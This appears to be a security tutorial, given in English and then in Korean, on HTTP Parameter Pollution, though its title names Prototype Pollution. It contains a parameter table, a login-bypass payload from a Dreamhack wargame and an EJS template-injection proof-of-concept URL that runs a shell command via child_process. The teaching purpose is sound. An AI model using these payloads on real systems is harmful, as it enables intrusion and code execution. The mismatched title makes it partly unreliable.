Prototype Pollution: Poisoning JavaScript's Object Chain
How Prototype Pollution corrupts JavaScript's prototype chain and how to defend against it
HTTP Parameter Pollution (HPP) is a web security vulnerability that exploits differences in how web applications process duplicated parameters. This attack technique is often used as a stepping stone to trigger other vulnerabilities or bypass security measures.
HPP occurs when an attacker sends multiple parameters with the same name to a web application. Different web frameworks, servers, and technologies handle these duplicated parameters in different ways:
This inconsistency in parameter processing creates security vulnerabilities when applications don’t properly validate input parameters.
Here’s how various technologies process duplicated parameters:
| Technology | Parsing Result | Outcome when parameters are duplicated (par1=a&par1=b) |
|---|---|---|
| ASP.NET/IIS | All occurrences | a,b |
| ASP/IIS | All occurrences | a,b |
| PHP/Apache | Last occurrence | b |
| PHP/Zues | Last occurrence | b |
| JSP,Servlet/Tomcat | First occurrence | a |
| Perl CGI/Apache | First occurrence | a |
| Python Flask | First occurrence | a |
| Python Django | Last occurrence | b |
| Node.js | All occurrences | a,b |
Golang net/http - r.URL.Query().Get("param") |
First occurrence | a |
Golang net/http - r.URL.Query()["param"] |
All occurrences | a,b |
| IBM Lotus Domino | First occurrence | a |
| IBM HTTP Server | First occurrence | a |
| Python/Zope | All occurrences in array | [‘a’,’b’] |
The simplest form of HPP involves sending multiple parameters with the same name:
POST /save_profile HTTP/1.1
account=15442&account=1110&name=aaa
Some frameworks also handle array-notation parameters differently:
POST /save_profile HTTP/1.1
account[]=15442&account[]=1110&name=aaa
Consider this Node.js login function that implements a prepared statement in its database query:
async function doLogin(id, pw) {
const result = await query("SELECT * FROM users WHERE id = ? AND pw = ?", [id, pw]);
if (result.length === 1) {
return result[0]._id;
}
}
And a route that doesn’t properly validate input:
app.post('/auth', async (req, res) => {
const {id, pw} = req.body;
const isRegister = 'register' in req.body;
await db.doRegister(id, pw)
return res.redirect('/auth');
}
By sending parameters like:
id=admin&pw[pw]=asdfasdf
The query becomes:
SELECT * FROM users WHERE id = admin AND pw = pw = asdfasdf
This leads to a SQL syntax error that might be exploitable.
This is main idea of Dreamahck Wargame(CProxy-inject)
The EJS templating engine had a vulnerability when user input was directly passed to res.render():
const express = require('express')
const app = express()
const port = 3000
app.set('view engine', 'ejs');
app.get('/page', (req,res) => {
res.render('page', req.query);
})
app.listen(port, () => {
console.log("Example app listening on port ${port}")
})
An attacker could exploit this using HPP with an HTTP request like:
http://127.0.0.1:3000/page?settings[view%20options][closeDelimiter]=1")%3bprocess.mainModule.require('child_process').execSync('calc')%3b//
HTTP Parameter Pollution is a subtle but powerful technique that can lead to serious security vulnerabilities. Understanding how your technology stack handles duplicate parameters is important for building secure web applications. Always implement proper input validation and consider HPP as part of your threat modeling process.
Remember that HPP is often used as a stepping stone to trigger other vulnerabilities, making it particularly dangerous when combined with other attack techniques.
웹 요청을 보낼 때 ?id=admin&id=guest처럼 같은 이름의 파라미터를 두 번 넣으면 서버는 과연 어느 쪽을 받아들일까요? 사실 정답이 정해져 있지 않습니다. 프레임워크마다, 서버마다 제각각이거든요. HTTP Parameter Pollution(HPP)은 바로 이 “제각각인 처리 방식”의 틈을 파고드는 웹 보안 취약점입니다. 그 자체로 치명타를 날린다기보다, 다른 취약점으로 넘어가거나 보안 장치를 슬쩍 우회하는 발판으로 자주 쓰이죠.
HPP는 공격자가 같은 이름의 파라미터를 여러 개 보낼 때 시작됩니다. 앞서 말했듯 웹 프레임워크, 서버, 기술 스택마다 이 중복 파라미터를 처리하는 방식이 다른데요. 크게 보면 이렇습니다.
이렇게 파싱 결과가 제각각이다 보니, 애플리케이션이 입력 파라미터를 제대로 검증하지 않으면 그 틈에서 취약점이 생기는 겁니다.
그럼 각 기술이 중복 파라미터를 실제로 어떻게 처리하는지 표로 살펴보겠습니다.
| 기술 | 파싱 방식 | 중복 시 결과 (par1=a&par1=b) |
|---|---|---|
| ASP.NET/IIS | 모든 값 | a,b |
| ASP/IIS | 모든 값 | a,b |
| PHP/Apache | 마지막 값 | b |
| PHP/Zues | 마지막 값 | b |
| JSP,Servlet/Tomcat | 첫 번째 값 | a |
| Perl CGI/Apache | 첫 번째 값 | a |
| Python Flask | 첫 번째 값 | a |
| Python Django | 마지막 값 | b |
| Node.js | 모든 값 | a,b |
Golang net/http - r.URL.Query().Get("param") |
첫 번째 값 | a |
Golang net/http - r.URL.Query()["param"] |
모든 값 | a,b |
| IBM Lotus Domino | 첫 번째 값 | a |
| IBM HTTP Server | 첫 번째 값 | a |
| Python/Zope | 배열로 모든 값 | [‘a’,’b’] |
가장 단순한 형태는 같은 이름의 파라미터를 그냥 여러 번 보내는 겁니다.
POST /save_profile HTTP/1.1
account=15442&account=1110&name=aaa
여기서 한 발 더 나가면, 일부 프레임워크는 배열 표기법([]) 파라미터를 또 다르게 처리하는데요.
POST /save_profile HTTP/1.1
account[]=15442&account[]=1110&name=aaa
말로만 들으면 감이 잘 안 오니 실제 코드를 봅시다. 아래는 prepared statement로 쿼리를 짠, 언뜻 안전해 보이는 Node.js 로그인 함수입니다.
async function doLogin(id, pw) {
const result = await query("SELECT * FROM users WHERE id = ? AND pw = ?", [id, pw]);
if (result.length === 1) {
return result[0]._id;
}
}
그런데 아뿔싸, body에서 넘어온 HTTP 파라미터를 전혀 검증하지 않고 있네요.
app.post('/auth', async (req, res) => {
const {id, pw} = req.body;
const isRegister = 'register' in req.body;
await db.doRegister(id, pw)
return res.redirect('/auth');
}
여기에 HPP를 이용해 다음처럼 요청을 보내면 어떻게 될까요?
id=admin&pw[pw]=asdfasdf
쿼리가 아래처럼 조립되면서 SQL 문법 오류가 터지고, 이 틈을 파고들면 로그인 로직을 우회할 여지가 생깁니다.
SELECT * FROM users WHERE id = admin AND pw = pw = asdfasdf
실제로 이게 Dreamhack 워게임(CProxy-inject)의 핵심 아이디어였습니다.
EJS 템플릿 엔진에는 사용자 입력이 res.render()로 곧장 전달될 때 터지는 취약점이 있었습니다. 사실 이미 패치된 취약점이라 코드를 제대로 짜면 공격당하지 않는데요. 문제는 사용자가 부주의하게, 입력값이 그대로 흘러 들어가도록 코드를 짜는 순간 이게 공격 벡터로 되살아난다는 점입니다.
const express = require('express')
const app = express()
const port = 3000
app.set('view engine', 'ejs');
app.get('/page', (req,res) => {
res.render('page', req.query);
})
app.listen(port, () => {
console.log("Example app listening on port ${port}")
})
PoC는 아래와 같은데요. 이 취약점을 트리거할 때도 GET 파라미터에 HPP 기법이 녹아 있는 걸 볼 수 있습니다.
http://127.0.0.1:3000/page?settings[view%20options][closeDelimiter]=1")%3bprocess.mainModule.require('child_process').execSync('calc')%3b//
그럼 이런 공격은 어떻게 막을까요? 핵심은 결국 “입력을 믿지 않는 것”입니다.
HTTP Parameter Pollution은 미묘하지만 은근히 강력한 기법이라, 방심하면 심각한 취약점으로 이어질 수 있습니다. 그래서 내가 쓰는 기술 스택이 중복 파라미터를 어떻게 다루는지 아는 것만으로도 큰 도움이 되는데요. 늘 입력 검증을 챙기고, HPP를 위협 모델링의 한 축으로 넣어 두시길 권합니다.
무엇보다 HPP는 혼자서 끝내는 공격이라기보다 다른 취약점을 여는 발판으로 자주 쓰이고, 다른 기법과 엮일 때 특히 위험합니다. CTF나 워게임에서도 심심찮게 보이니, 알아 두면 언젠가 요긴하게 써먹을 수 있을 거예요.